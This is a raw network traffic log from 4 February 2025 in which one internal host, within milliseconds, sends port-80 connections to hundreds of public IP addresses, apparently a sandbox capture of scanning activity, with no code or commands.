Feb 4, 2025 18:17:36.395041943 CET	46308	80	192.168.2.23	123.140.248.125
Feb 4, 2025 18:17:36.395046949 CET	46308	80	192.168.2.23	124.182.154.49
Feb 4, 2025 18:17:36.395051003 CET	46308	80	192.168.2.23	166.85.41.168
Feb 4, 2025 18:17:36.395056963 CET	46308	80	192.168.2.23	38.173.113.39
Feb 4, 2025 18:17:36.395061016 CET	46308	80	192.168.2.23	176.230.197.7
Feb 4, 2025 18:17:36.395068884 CET	46308	80	192.168.2.23	149.178.175.179
Feb 4, 2025 18:17:36.395073891 CET	46308	80	192.168.2.23	124.37.64.211
Feb 4, 2025 18:17:36.395075083 CET	46308	80	192.168.2.23	84.124.59.68
Feb 4, 2025 18:17:36.395075083 CET	46308	80	192.168.2.23	73.173.119.223
Feb 4, 2025 18:17:36.395075083 CET	46308	80	192.168.2.23	12.200.81.193
Feb 4, 2025 18:17:36.395076036 CET	46308	80	192.168.2.23	112.25.43.212
Feb 4, 2025 18:17:36.395087004 CET	46308	80	192.168.2.23	43.64.235.203
Feb 4, 2025 18:17:36.395095110 CET	46308	80	192.168.2.23	221.187.215.236
Feb 4, 2025 18:17:36.395100117 CET	46308	80	192.168.2.23	133.220.82.249
Feb 4, 2025 18:17:36.395106077 CET	46308	80	192.168.2.23	172.144.122.86
Feb 4, 2025 18:17:36.395106077 CET	46308	80	192.168.2.23	92.245.192.28
Feb 4, 2025 18:17:36.395106077 CET	46308	80	192.168.2.23	201.119.150.43
Feb 4, 2025 18:17:36.395134926 CET	46308	80	192.168.2.23	136.30.88.164
Feb 4, 2025 18:17:36.395134926 CET	46308	80	192.168.2.23	87.233.87.226
Feb 4, 2025 18:17:36.395138979 CET	46308	80	192.168.2.23	144.154.5.60
Feb 4, 2025 18:17:36.395138979 CET	46308	80	192.168.2.23	63.182.157.108
Feb 4, 2025 18:17:36.395148039 CET	46308	80	192.168.2.23	169.156.73.200
Feb 4, 2025 18:17:36.395148039 CET	46308	80	192.168.2.23	189.111.43.110
Feb 4, 2025 18:17:36.395148993 CET	46308	80	192.168.2.23	50.142.204.197
Feb 4, 2025 18:17:36.395148993 CET	46308	80	192.168.2.23	93.68.64.203
Feb 4, 2025 18:17:36.395149946 CET	46308	80	192.168.2.23	140.193.49.172
Feb 4, 2025 18:17:36.395159006 CET	46308	80	192.168.2.23	52.177.211.103
Feb 4, 2025 18:17:36.395159006 CET	46308	80	192.168.2.23	150.153.175.234
Feb 4, 2025 18:17:36.395159960 CET	46308	80	192.168.2.23	27.228.9.109
Feb 4, 2025 18:17:36.395159960 CET	46308	80	192.168.2.23	206.137.146.37
Feb 4, 2025 18:17:36.395163059 CET	46308	80	192.168.2.23	222.154.199.44
Feb 4, 2025 18:17:36.395163059 CET	46308	80	192.168.2.23	154.248.78.144
Feb 4, 2025 18:17:36.395163059 CET	46308	80	192.168.2.23	135.170.150.78
Feb 4, 2025 18:17:36.395164013 CET	46308	80	192.168.2.23	4.95.16.14
Feb 4, 2025 18:17:36.395164967 CET	46308	80	192.168.2.23	37.101.251.188
Feb 4, 2025 18:17:36.395164967 CET	46308	80	192.168.2.23	102.197.77.126
Feb 4, 2025 18:17:36.395179987 CET	46308	80	192.168.2.23	67.223.244.97
Feb 4, 2025 18:17:36.395183086 CET	46308	80	192.168.2.23	82.16.111.183
Feb 4, 2025 18:17:36.395183086 CET	46308	80	192.168.2.23	99.2.206.189
Feb 4, 2025 18:17:36.395184994 CET	46308	80	192.168.2.23	139.207.177.31
Feb 4, 2025 18:17:36.395185947 CET	46308	80	192.168.2.23	58.71.39.18
Feb 4, 2025 18:17:36.395185947 CET	46308	80	192.168.2.23	181.14.185.8
Feb 4, 2025 18:17:36.395200014 CET	46308	80	192.168.2.23	182.123.169.35
Feb 4, 2025 18:17:36.395200968 CET	46308	80	192.168.2.23	204.165.188.245
Feb 4, 2025 18:17:36.395203114 CET	46308	80	192.168.2.23	192.142.53.54
Feb 4, 2025 18:17:36.395206928 CET	46308	80	192.168.2.23	84.42.245.133
Feb 4, 2025 18:17:36.395210028 CET	46308	80	192.168.2.23	143.4.163.135
Feb 4, 2025 18:17:36.395214081 CET	46308	80	192.168.2.23	115.198.87.60
Feb 4, 2025 18:17:36.395225048 CET	46308	80	192.168.2.23	203.125.172.204
Feb 4, 2025 18:17:36.395230055 CET	46308	80	192.168.2.23	137.83.99.83
Feb 4, 2025 18:17:36.395234108 CET	46308	80	192.168.2.23	88.220.118.66
Feb 4, 2025 18:17:36.395236015 CET	46308	80	192.168.2.23	12.99.156.134
Feb 4, 2025 18:17:36.395245075 CET	46308	80	192.168.2.23	57.101.241.251
Feb 4, 2025 18:17:36.395255089 CET	46308	80	192.168.2.23	162.114.252.33
Feb 4, 2025 18:17:36.395256996 CET	46308	80	192.168.2.23	197.206.55.84
Feb 4, 2025 18:17:36.395272017 CET	46308	80	192.168.2.23	172.45.49.250
Feb 4, 2025 18:17:36.395273924 CET	46308	80	192.168.2.23	102.220.102.103
Feb 4, 2025 18:17:36.395273924 CET	46308	80	192.168.2.23	106.158.203.24
Feb 4, 2025 18:17:36.395282984 CET	46308	80	192.168.2.23	158.212.59.170
Feb 4, 2025 18:17:36.395289898 CET	46308	80	192.168.2.23	95.59.50.161
Feb 4, 2025 18:17:36.395294905 CET	46308	80	192.168.2.23	207.52.233.14
Feb 4, 2025 18:17:36.395302057 CET	46308	80	192.168.2.23	54.87.248.111
Feb 4, 2025 18:17:36.395309925 CET	46308	80	192.168.2.23	125.22.220.218
Feb 4, 2025 18:17:36.395328999 CET	46308	80	192.168.2.23	57.67.240.147
Feb 4, 2025 18:17:36.395329952 CET	46308	80	192.168.2.23	57.54.215.123
Feb 4, 2025 18:17:36.395329952 CET	46308	80	192.168.2.23	144.102.137.136
Feb 4, 2025 18:17:36.395334005 CET	46308	80	192.168.2.23	76.120.38.127
Feb 4, 2025 18:17:36.395335913 CET	46308	80	192.168.2.23	117.171.229.243
Feb 4, 2025 18:17:36.395335913 CET	46308	80	192.168.2.23	109.66.59.194
Feb 4, 2025 18:17:36.395337105 CET	46308	80	192.168.2.23	136.181.227.118
Feb 4, 2025 18:17:36.395337105 CET	46308	80	192.168.2.23	40.33.161.215
Feb 4, 2025 18:17:36.395337105 CET	46308	80	192.168.2.23	46.27.153.84
Feb 4, 2025 18:17:36.395337105 CET	46308	80	192.168.2.23	68.25.83.146
Feb 4, 2025 18:17:36.395339966 CET	46308	80	192.168.2.23	79.118.165.185
Feb 4, 2025 18:17:36.395339966 CET	46308	80	192.168.2.23	64.235.196.64
Feb 4, 2025 18:17:36.395358086 CET	46308	80	192.168.2.23	176.209.1.113
Feb 4, 2025 18:17:36.395360947 CET	46308	80	192.168.2.23	73.28.38.203
Feb 4, 2025 18:17:36.395373106 CET	46308	80	192.168.2.23	54.137.99.22
Feb 4, 2025 18:17:36.395380020 CET	46308	80	192.168.2.23	106.38.143.84
Feb 4, 2025 18:17:36.395380020 CET	46308	80	192.168.2.23	128.61.90.92
Feb 4, 2025 18:17:36.395380974 CET	46308	80	192.168.2.23	189.47.14.240
Feb 4, 2025 18:17:36.395380974 CET	46308	80	192.168.2.23	130.225.136.230
Feb 4, 2025 18:17:36.395381927 CET	46308	80	192.168.2.23	204.100.208.17
Feb 4, 2025 18:17:36.395381927 CET	46308	80	192.168.2.23	12.73.99.236
Feb 4, 2025 18:17:36.395386934 CET	46308	80	192.168.2.23	159.185.16.58
Feb 4, 2025 18:17:36.395386934 CET	46308	80	192.168.2.23	107.253.156.17
Feb 4, 2025 18:17:36.395386934 CET	46308	80	192.168.2.23	177.17.50.177
Feb 4, 2025 18:17:36.395401955 CET	46308	80	192.168.2.23	111.200.58.89
Feb 4, 2025 18:17:36.395401955 CET	46308	80	192.168.2.23	78.1.63.174
Feb 4, 2025 18:17:36.395410061 CET	46308	80	192.168.2.23	110.192.32.33
Feb 4, 2025 18:17:36.395411968 CET	46308	80	192.168.2.23	133.211.11.129
Feb 4, 2025 18:17:36.395426989 CET	46308	80	192.168.2.23	189.234.179.168
Feb 4, 2025 18:17:36.395427942 CET	46308	80	192.168.2.23	23.120.163.52
Feb 4, 2025 18:17:36.395431995 CET	46308	80	192.168.2.23	221.187.204.46
Feb 4, 2025 18:17:36.395431995 CET	46308	80	192.168.2.23	96.19.80.100
Feb 4, 2025 18:17:36.395441055 CET	46308	80	192.168.2.23	93.178.218.120
Feb 4, 2025 18:17:36.395442963 CET	46308	80	192.168.2.23	78.167.57.171
Feb 4, 2025 18:17:36.395452023 CET	46308	80	192.168.2.23	154.231.5.220
Feb 4, 2025 18:17:36.395456076 CET	46308	80	192.168.2.23	223.184.7.230
Feb 4, 2025 18:17:36.395457983 CET	46308	80	192.168.2.23	138.78.78.107
Feb 4, 2025 18:17:36.395464897 CET	46308	80	192.168.2.23	141.71.209.84
Feb 4, 2025 18:17:36.395471096 CET	46308	80	192.168.2.23	141.206.18.53
Feb 4, 2025 18:17:36.395477057 CET	46308	80	192.168.2.23	167.176.106.153
Feb 4, 2025 18:17:36.395489931 CET	46308	80	192.168.2.23	212.34.223.103
Feb 4, 2025 18:17:36.395493984 CET	46308	80	192.168.2.23	47.188.14.182
Feb 4, 2025 18:17:36.395497084 CET	46308	80	192.168.2.23	141.38.170.105
Feb 4, 2025 18:17:36.395513058 CET	46308	80	192.168.2.23	76.124.29.190
Feb 4, 2025 18:17:36.395514011 CET	46308	80	192.168.2.23	119.152.195.154
Feb 4, 2025 18:17:36.395513058 CET	46308	80	192.168.2.23	150.196.111.56
Feb 4, 2025 18:17:36.395514965 CET	46308	80	192.168.2.23	120.144.60.52
Feb 4, 2025 18:17:36.395515919 CET	46308	80	192.168.2.23	164.235.227.54
Feb 4, 2025 18:17:36.395522118 CET	46308	80	192.168.2.23	66.215.16.172
Feb 4, 2025 18:17:36.395535946 CET	46308	80	192.168.2.23	57.108.20.62
Feb 4, 2025 18:17:36.395538092 CET	46308	80	192.168.2.23	178.195.202.7
Feb 4, 2025 18:17:36.395538092 CET	46308	80	192.168.2.23	105.211.218.226
Feb 4, 2025 18:17:36.395543098 CET	46308	80	192.168.2.23	47.76.229.172
Feb 4, 2025 18:17:36.395544052 CET	46308	80	192.168.2.23	65.100.230.238
Feb 4, 2025 18:17:36.395556927 CET	46308	80	192.168.2.23	41.190.145.139
Feb 4, 2025 18:17:36.395560026 CET	46308	80	192.168.2.23	103.216.232.24
Feb 4, 2025 18:17:36.395565033 CET	46308	80	192.168.2.23	72.107.111.130
Feb 4, 2025 18:17:36.395574093 CET	46308	80	192.168.2.23	44.215.226.146
Feb 4, 2025 18:17:36.395579100 CET	46308	80	192.168.2.23	113.236.132.160
Feb 4, 2025 18:17:36.395581007 CET	46308	80	192.168.2.23	135.125.145.80
Feb 4, 2025 18:17:36.395593882 CET	46308	80	192.168.2.23	91.93.110.201
Feb 4, 2025 18:17:36.395593882 CET	46308	80	192.168.2.23	90.90.55.187
Feb 4, 2025 18:17:36.395597935 CET	46308	80	192.168.2.23	69.244.142.211
Feb 4, 2025 18:17:36.395601034 CET	46308	80	192.168.2.23	57.64.122.178
Feb 4, 2025 18:17:36.395601034 CET	46308	80	192.168.2.23	205.129.222.131
Feb 4, 2025 18:17:36.395601988 CET	46308	80	192.168.2.23	195.104.48.153
Feb 4, 2025 18:17:36.395616055 CET	46308	80	192.168.2.23	34.168.254.161
Feb 4, 2025 18:17:36.395626068 CET	46308	80	192.168.2.23	166.3.174.56
Feb 4, 2025 18:17:36.395627022 CET	46308	80	192.168.2.23	176.253.54.66
Feb 4, 2025 18:17:36.395628929 CET	46308	80	192.168.2.23	216.192.187.118
Feb 4, 2025 18:17:36.395628929 CET	46308	80	192.168.2.23	41.57.23.250
Feb 4, 2025 18:17:36.395629883 CET	46308	80	192.168.2.23	169.35.190.146
Feb 4, 2025 18:17:36.395634890 CET	46308	80	192.168.2.23	217.233.12.122
Feb 4, 2025 18:17:36.395634890 CET	46308	80	192.168.2.23	170.126.161.95
Feb 4, 2025 18:17:36.395634890 CET	46308	80	192.168.2.23	134.119.150.64
Feb 4, 2025 18:17:36.395637035 CET	46308	80	192.168.2.23	98.71.127.40
Feb 4, 2025 18:17:36.395646095 CET	46308	80	192.168.2.23	83.105.118.34
Feb 4, 2025 18:17:36.395664930 CET	46308	80	192.168.2.23	17.204.67.16
Feb 4, 2025 18:17:36.395669937 CET	46308	80	192.168.2.23	196.124.253.122
Feb 4, 2025 18:17:36.395669937 CET	46308	80	192.168.2.23	199.147.175.241
Feb 4, 2025 18:17:36.395683050 CET	46308	80	192.168.2.23	194.144.29.215
Feb 4, 2025 18:17:36.395683050 CET	46308	80	192.168.2.23	207.28.27.207
Feb 4, 2025 18:17:36.395689964 CET	46308	80	192.168.2.23	186.226.131.186
Feb 4, 2025 18:17:36.395694017 CET	46308	80	192.168.2.23	5.146.199.211
Feb 4, 2025 18:17:36.395704985 CET	46308	80	192.168.2.23	180.82.182.71
Feb 4, 2025 18:17:36.395704985 CET	46308	80	192.168.2.23	27.203.235.217
Feb 4, 2025 18:17:36.395705938 CET	46308	80	192.168.2.23	218.70.167.171
Feb 4, 2025 18:17:36.395704985 CET	46308	80	192.168.2.23	134.65.7.232
Feb 4, 2025 18:17:36.395739079 CET	55980	80	192.168.2.23	192.126.86.49
Feb 4, 2025 18:17:36.395759106 CET	45996	80	192.168.2.23	96.249.104.4
Feb 4, 2025 18:17:36.395761967 CET	38148	80	192.168.2.23	62.103.62.232
Feb 4, 2025 18:17:36.395778894 CET	43008	80	192.168.2.23	140.98.137.133
Feb 4, 2025 18:17:36.395783901 CET	43508	80	192.168.2.23	151.108.222.16
Feb 4, 2025 18:17:36.395801067 CET	33732	80	192.168.2.23	222.56.47.130
Feb 4, 2025 18:17:36.395803928 CET	36212	80	192.168.2.23	74.179.26.36
Feb 4, 2025 18:17:36.395831108 CET	55560	80	192.168.2.23	220.1.67.106
Feb 4, 2025 18:17:36.395836115 CET	50706	80	192.168.2.23	223.26.208.122
Feb 4, 2025 18:17:36.395845890 CET	47634	80	192.168.2.23	208.26.96.56
Feb 4, 2025 18:17:36.395862103 CET	48128	80	192.168.2.23	177.252.48.37
Feb 4, 2025 18:17:36.395869017 CET	41722	80	192.168.2.23	202.91.232.13
Feb 4, 2025 18:17:36.395890951 CET	52548	80	192.168.2.23	158.255.135.132
Feb 4, 2025 18:17:36.395903111 CET	46302	80	192.168.2.23	116.223.199.40
Feb 4, 2025 18:17:36.395916939 CET	35520	80	192.168.2.23	108.135.171.38
Feb 4, 2025 18:17:36.395936966 CET	53944	80	192.168.2.23	153.61.226.185
Feb 4, 2025 18:17:36.395939112 CET	40988	80	192.168.2.23	65.106.31.190
Feb 4, 2025 18:17:36.395940065 CET	41590	80	192.168.2.23	186.51.207.144
Feb 4, 2025 18:17:36.395961046 CET	56168	80	192.168.2.23	48.109.120.111
Feb 4, 2025 18:17:36.395975113 CET	33642	80	192.168.2.23	155.84.9.138
Feb 4, 2025 18:17:36.395987988 CET	36976	80	192.168.2.23	134.59.130.136
Feb 4, 2025 18:17:36.395987988 CET	49294	80	192.168.2.23	42.73.2.33
Feb 4, 2025 18:17:36.396008968 CET	51752	80	192.168.2.23	94.5.253.21
Feb 4, 2025 18:17:36.396015882 CET	33064	80	192.168.2.23	76.217.228.141
Feb 4, 2025 18:17:36.396033049 CET	34770	80	192.168.2.23	77.92.135.131
Feb 4, 2025 18:17:36.396035910 CET	51872	80	192.168.2.23	87.200.167.140
Feb 4, 2025 18:17:36.396044970 CET	40412	80	192.168.2.23	154.158.81.108
Feb 4, 2025 18:17:36.396059036 CET	49440	80	192.168.2.23	80.61.91.32
Feb 4, 2025 18:17:36.396069050 CET	47648	80	192.168.2.23	50.16.12.85
Feb 4, 2025 18:17:36.396087885 CET	41528	80	192.168.2.23	139.138.146.34
Feb 4, 2025 18:17:36.396094084 CET	56996	80	192.168.2.23	1.36.195.93
Feb 4, 2025 18:17:36.396106005 CET	52964	80	192.168.2.23	100.189.171.198
Feb 4, 2025 18:17:36.396106005 CET	45134	80	192.168.2.23	85.247.59.168
Feb 4, 2025 18:17:36.396120071 CET	40768	80	192.168.2.23	86.73.243.209
Feb 4, 2025 18:17:36.396137953 CET	50630	80	192.168.2.23	138.59.44.202
Feb 4, 2025 18:17:36.396157980 CET	44124	80	192.168.2.23	39.119.57.107
Feb 4, 2025 18:17:36.396164894 CET	47984	80	192.168.2.23	86.136.224.145
Feb 4, 2025 18:17:36.396172047 CET	52324	80	192.168.2.23	40.68.156.77
Feb 4, 2025 18:17:36.396186113 CET	49522	80	192.168.2.23	216.195.195.74
Feb 4, 2025 18:17:36.396203041 CET	33376	80	192.168.2.23	193.23.71.140
Feb 4, 2025 18:17:36.396218061 CET	33870	80	192.168.2.23	111.108.32.36
Feb 4, 2025 18:17:36.396226883 CET	50388	80	192.168.2.23	185.28.239.174
Feb 4, 2025 18:17:36.396226883 CET	38804	80	192.168.2.23	211.20.84.113
Feb 4, 2025 18:17:36.396245003 CET	47100	80	192.168.2.23	198.228.165.122
Feb 4, 2025 18:17:36.396245003 CET	34898	80	192.168.2.23	86.200.83.70
Feb 4, 2025 18:17:36.396269083 CET	39552	80	192.168.2.23	131.21.240.55
Feb 4, 2025 18:17:36.396277905 CET	48888	80	192.168.2.23	121.167.98.74
Feb 4, 2025 18:17:36.396286011 CET	45632	80	192.168.2.23	184.46.243.237
Feb 4, 2025 18:17:36.396300077 CET	53844	80	192.168.2.23	188.151.165.121
Feb 4, 2025 18:17:36.396300077 CET	44510	80	192.168.2.23	125.121.52.103
Feb 4, 2025 18:17:36.396328926 CET	57284	80	192.168.2.23	58.45.246.240
Feb 4, 2025 18:17:36.396333933 CET	54608	80	192.168.2.23	187.12.121.131
Feb 4, 2025 18:17:36.396333933 CET	50756	80	192.168.2.23	159.12.16.39
Feb 4, 2025 18:17:36.396338940 CET	35436	80	192.168.2.23	39.156.146.242
Feb 4, 2025 18:17:36.396358013 CET	57068	80	192.168.2.23	163.190.140.233
Feb 4, 2025 18:17:36.396367073 CET	43326	80	192.168.2.23	97.163.222.14
Feb 4, 2025 18:17:36.396384001 CET	55004	80	192.168.2.23	102.132.116.52
Feb 4, 2025 18:17:36.396384954 CET	40110	80	192.168.2.23	213.250.194.11
Feb 4, 2025 18:17:36.396397114 CET	59500	80	192.168.2.23	47.22.162.58
Feb 4, 2025 18:17:36.396403074 CET	55392	80	192.168.2.23	172.152.8.158
Feb 4, 2025 18:17:36.396429062 CET	51122	80	192.168.2.23	79.47.247.29
Feb 4, 2025 18:17:36.396435022 CET	49044	80	192.168.2.23	165.48.146.178
Feb 4, 2025 18:17:36.396455050 CET	34342	80	192.168.2.23	71.46.78.230
Feb 4, 2025 18:17:36.396466017 CET	35882	80	192.168.2.23	90.106.11.213
Feb 4, 2025 18:17:36.396481991 CET	45114	80	192.168.2.23	63.155.228.179
Feb 4, 2025 18:17:36.396490097 CET	54324	80	192.168.2.23	38.20.10.4
Feb 4, 2025 18:17:36.396505117 CET	38540	80	192.168.2.23	194.253.105.22
Feb 4, 2025 18:17:36.396507025 CET	44312	80	192.168.2.23	154.248.139.197
Feb 4, 2025 18:17:36.396521091 CET	41012	80	192.168.2.23	19.79.65.15
Feb 4, 2025 18:17:36.396529913 CET	54872	80	192.168.2.23	208.97.62.116
Feb 4, 2025 18:17:36.396541119 CET	52636	80	192.168.2.23	211.168.206.102
Feb 4, 2025 18:17:36.396559954 CET	41802	80	192.168.2.23	208.88.96.4
Feb 4, 2025 18:17:36.396569014 CET	54306	80	192.168.2.23	62.52.74.27
Feb 4, 2025 18:17:36.396578074 CET	35016	80	192.168.2.23	40.250.122.174
Feb 4, 2025 18:17:36.396600008 CET	46418	80	192.168.2.23	126.213.48.158
Feb 4, 2025 18:17:36.396600008 CET	47308	80	192.168.2.23	160.168.18.227
Feb 4, 2025 18:17:36.396606922 CET	33286	80	192.168.2.23	139.110.215.30
Feb 4, 2025 18:17:36.396620035 CET	34262	80	192.168.2.23	147.113.242.192
Feb 4, 2025 18:17:36.396632910 CET	53008	80	192.168.2.23	129.143.47.241
Feb 4, 2025 18:17:36.396647930 CET	54526	80	192.168.2.23	81.71.196.193
Feb 4, 2025 18:17:36.396678925 CET	58562	80	192.168.2.23	42.53.134.206
Feb 4, 2025 18:17:36.396680117 CET	59828	80	192.168.2.23	17.74.174.36
Feb 4, 2025 18:17:36.396687031 CET	52858	80	192.168.2.23	84.80.19.214
Feb 4, 2025 18:17:36.396704912 CET	41178	80	192.168.2.23	196.0.86.188
Feb 4, 2025 18:17:36.396706104 CET	33476	80	192.168.2.23	5.188.116.215
Feb 4, 2025 18:17:36.396728992 CET	41616	80	192.168.2.23	175.45.20.117
Feb 4, 2025 18:17:36.396738052 CET	51110	80	192.168.2.23	133.194.61.95
Feb 4, 2025 18:17:36.396752119 CET	49972	80	192.168.2.23	19.205.249.2
Feb 4, 2025 18:17:36.396754980 CET	60158	80	192.168.2.23	203.4.29.228
Feb 4, 2025 18:17:36.396771908 CET	37104	80	192.168.2.23	68.133.14.141
Feb 4, 2025 18:17:36.396787882 CET	56648	80	192.168.2.23	42.57.193.245
Feb 4, 2025 18:17:36.396792889 CET	55366	80	192.168.2.23	102.208.218.20
Feb 4, 2025 18:17:36.396806002 CET	60926	80	192.168.2.23	197.9.167.245
Feb 4, 2025 18:17:36.396811008 CET	39318	80	192.168.2.23	195.72.189.228
Feb 4, 2025 18:17:36.396821976 CET	34836	80	192.168.2.23	100.42.6.82
Feb 4, 2025 18:17:36.400751114 CET	80	46308	191.85.35.11	192.168.2.23
Feb 4, 2025 18:17:36.400763988 CET	80	46308	75.29.86.116	192.168.2.23
Feb 4, 2025 18:17:36.400774002 CET	80	46308	194.129.199.106	192.168.2.23
Feb 4, 2025 18:17:36.400784016 CET	80	46308	187.170.55.10	192.168.2.23
Feb 4, 2025 18:17:36.400794983 CET	80	46308	101.15.139.86	192.168.2.23
Feb 4, 2025 18:17:36.400799990 CET	46308	80	192.168.2.23	191.85.35.11
Feb 4, 2025 18:17:36.400805950 CET	80	46308	161.152.27.77	192.168.2.23
Feb 4, 2025 18:17:36.400815964 CET	46308	80	192.168.2.23	187.170.55.10
Feb 4, 2025 18:17:36.400815964 CET	46308	80	192.168.2.23	75.29.86.116
Feb 4, 2025 18:17:36.400815964 CET	80	46308	194.34.3.27	192.168.2.23
Feb 4, 2025 18:17:36.400825024 CET	46308	80	192.168.2.23	194.129.199.106
Feb 4, 2025 18:17:36.400825977 CET	46308	80	192.168.2.23	101.15.139.86
Feb 4, 2025 18:17:36.400827885 CET	80	46308	188.70.1.82	192.168.2.23
Feb 4, 2025 18:17:36.400844097 CET	46308	80	192.168.2.23	194.34.3.27
Feb 4, 2025 18:17:36.400846004 CET	46308	80	192.168.2.23	161.152.27.77
Feb 4, 2025 18:17:36.400846958 CET	80	46308	32.156.11.239	192.168.2.23
Feb 4, 2025 18:17:36.400857925 CET	80	46308	104.41.168.53	192.168.2.23
Feb 4, 2025 18:17:36.400862932 CET	46308	80	192.168.2.23	188.70.1.82
Feb 4, 2025 18:17:36.400867939 CET	80	46308	13.71.41.29	192.168.2.23
Feb 4, 2025 18:17:36.400878906 CET	80	46308	67.39.122.4	192.168.2.23
Feb 4, 2025 18:17:36.400887966 CET	46308	80	192.168.2.23	32.156.11.239
Feb 4, 2025 18:17:36.400890112 CET	46308	80	192.168.2.23	104.41.168.53
Feb 4, 2025 18:17:36.400891066 CET	80	46308	192.120.151.211	192.168.2.23
Feb 4, 2025 18:17:36.400902987 CET	80	46308	135.243.241.188	192.168.2.23
Feb 4, 2025 18:17:36.400906086 CET	46308	80	192.168.2.23	13.71.41.29
Feb 4, 2025 18:17:36.400913954 CET	46308	80	192.168.2.23	67.39.122.4
Feb 4, 2025 18:17:36.400913954 CET	46308	80	192.168.2.23	192.120.151.211
Feb 4, 2025 18:17:36.400913954 CET	80	46308	149.69.125.7	192.168.2.23
Feb 4, 2025 18:17:36.400924921 CET	80	46308	36.215.21.101	192.168.2.23
Feb 4, 2025 18:17:36.400934935 CET	80	46308	165.206.66.246	192.168.2.23
Feb 4, 2025 18:17:36.400939941 CET	46308	80	192.168.2.23	135.243.241.188
Feb 4, 2025 18:17:36.400943995 CET	46308	80	192.168.2.23	149.69.125.7
Feb 4, 2025 18:17:36.400944948 CET	80	46308	137.136.123.182	192.168.2.23
Feb 4, 2025 18:17:36.400955915 CET	80	46308	104.130.211.52	192.168.2.23
Feb 4, 2025 18:17:36.400958061 CET	46308	80	192.168.2.23	165.206.66.246
Feb 4, 2025 18:17:36.400964975 CET	80	46308	177.80.244.140	192.168.2.23
Feb 4, 2025 18:17:36.400974035 CET	80	46308	191.144.192.73	192.168.2.23
Feb 4, 2025 18:17:36.400984049 CET	80	46308	211.18.137.254	192.168.2.23
Feb 4, 2025 18:17:36.400994062 CET	80	46308	5.124.253.22	192.168.2.23
Feb 4, 2025 18:17:36.400998116 CET	46308	80	192.168.2.23	36.215.21.101
Feb 4, 2025 18:17:36.400999069 CET	46308	80	192.168.2.23	137.136.123.182
Feb 4, 2025 18:17:36.401004076 CET	80	46308	193.157.59.52	192.168.2.23
Feb 4, 2025 18:17:36.401005030 CET	46308	80	192.168.2.23	104.130.211.52
Feb 4, 2025 18:17:36.401009083 CET	46308	80	192.168.2.23	177.80.244.140
Feb 4, 2025 18:17:36.401015043 CET	80	46308	43.114.213.162	192.168.2.23
Feb 4, 2025 18:17:36.401015043 CET	46308	80	192.168.2.23	191.144.192.73
Feb 4, 2025 18:17:36.401022911 CET	46308	80	192.168.2.23	211.18.137.254
Feb 4, 2025 18:17:36.401022911 CET	46308	80	192.168.2.23	5.124.253.22
Feb 4, 2025 18:17:36.401027918 CET	80	46308	106.250.108.219	192.168.2.23
Feb 4, 2025 18:17:36.401036978 CET	46308	80	192.168.2.23	193.157.59.52
Feb 4, 2025 18:17:36.401038885 CET	80	46308	51.173.224.165	192.168.2.23
Feb 4, 2025 18:17:36.401048899 CET	80	46308	180.26.115.199	192.168.2.23
Feb 4, 2025 18:17:36.401060104 CET	46308	80	192.168.2.23	43.114.213.162
Feb 4, 2025 18:17:36.401067019 CET	46308	80	192.168.2.23	106.250.108.219
Feb 4, 2025 18:17:36.401067019 CET	46308	80	192.168.2.23	51.173.224.165
Feb 4, 2025 18:17:36.401076078 CET	46308	80	192.168.2.23	180.26.115.199
Feb 4, 2025 18:17:36.401644945 CET	80	46308	78.251.75.96	192.168.2.23
Feb 4, 2025 18:17:36.401655912 CET	80	46308	134.14.146.1	192.168.2.23
Feb 4, 2025 18:17:36.401665926 CET	80	46308	146.67.180.234	192.168.2.23
Feb 4, 2025 18:17:36.401674986 CET	80	46308	168.204.45.53	192.168.2.23
Feb 4, 2025 18:17:36.401684999 CET	80	46308	96.12.237.21	192.168.2.23
Feb 4, 2025 18:17:36.401685953 CET	46308	80	192.168.2.23	78.251.75.96
Feb 4, 2025 18:17:36.401686907 CET	46308	80	192.168.2.23	134.14.146.1
Feb 4, 2025 18:17:36.401700974 CET	46308	80	192.168.2.23	146.67.180.234
Feb 4, 2025 18:17:36.401700974 CET	46308	80	192.168.2.23	168.204.45.53
Feb 4, 2025 18:17:36.401704073 CET	80	46308	138.11.100.125	192.168.2.23
Feb 4, 2025 18:17:36.401715040 CET	80	46308	165.28.117.196	192.168.2.23
Feb 4, 2025 18:17:36.401725054 CET	80	46308	62.130.67.206	192.168.2.23
Feb 4, 2025 18:17:36.401725054 CET	46308	80	192.168.2.23	96.12.237.21
Feb 4, 2025 18:17:36.401735067 CET	80	46308	32.237.103.155	192.168.2.23
Feb 4, 2025 18:17:36.401736975 CET	46308	80	192.168.2.23	138.11.100.125
Feb 4, 2025 18:17:36.401746035 CET	46308	80	192.168.2.23	165.28.117.196
Feb 4, 2025 18:17:36.401762009 CET	80	46308	106.167.68.251	192.168.2.23
Feb 4, 2025 18:17:36.401763916 CET	46308	80	192.168.2.23	62.130.67.206
Feb 4, 2025 18:17:36.401763916 CET	46308	80	192.168.2.23	32.237.103.155
Feb 4, 2025 18:17:36.401773930 CET	80	46308	44.46.161.18	192.168.2.23
Feb 4, 2025 18:17:36.401784897 CET	80	46308	140.58.151.1	192.168.2.23
Feb 4, 2025 18:17:36.401799917 CET	46308	80	192.168.2.23	106.167.68.251
Feb 4, 2025 18:17:36.401815891 CET	46308	80	192.168.2.23	44.46.161.18
Feb 4, 2025 18:17:36.401833057 CET	80	46308	50.148.137.8	192.168.2.23
Feb 4, 2025 18:17:36.401844025 CET	80	46308	126.126.220.124	192.168.2.23
Feb 4, 2025 18:17:36.401853085 CET	80	46308	138.117.213.242	192.168.2.23
Feb 4, 2025 18:17:36.401855946 CET	46308	80	192.168.2.23	140.58.151.1
Feb 4, 2025 18:17:36.401868105 CET	46308	80	192.168.2.23	50.148.137.8
Feb 4, 2025 18:17:36.401873112 CET	46308	80	192.168.2.23	126.126.220.124
Feb 4, 2025 18:17:36.401884079 CET	46308	80	192.168.2.23	138.117.213.242
Feb 4, 2025 18:17:36.401963949 CET	80	46308	136.188.194.235	192.168.2.23
Feb 4, 2025 18:17:36.401974916 CET	80	46308	147.98.12.164	192.168.2.23
Feb 4, 2025 18:17:36.401983023 CET	80	46308	94.178.7.124	192.168.2.23
Feb 4, 2025 18:17:36.401988029 CET	80	46308	58.99.147.68	192.168.2.23
Feb 4, 2025 18:17:36.401998043 CET	80	46308	198.163.207.89	192.168.2.23
Feb 4, 2025 18:17:36.402002096 CET	46308	80	192.168.2.23	136.188.194.235
Feb 4, 2025 18:17:36.402002096 CET	46308	80	192.168.2.23	147.98.12.164
Feb 4, 2025 18:17:36.402008057 CET	80	46308	193.13.129.58	192.168.2.23
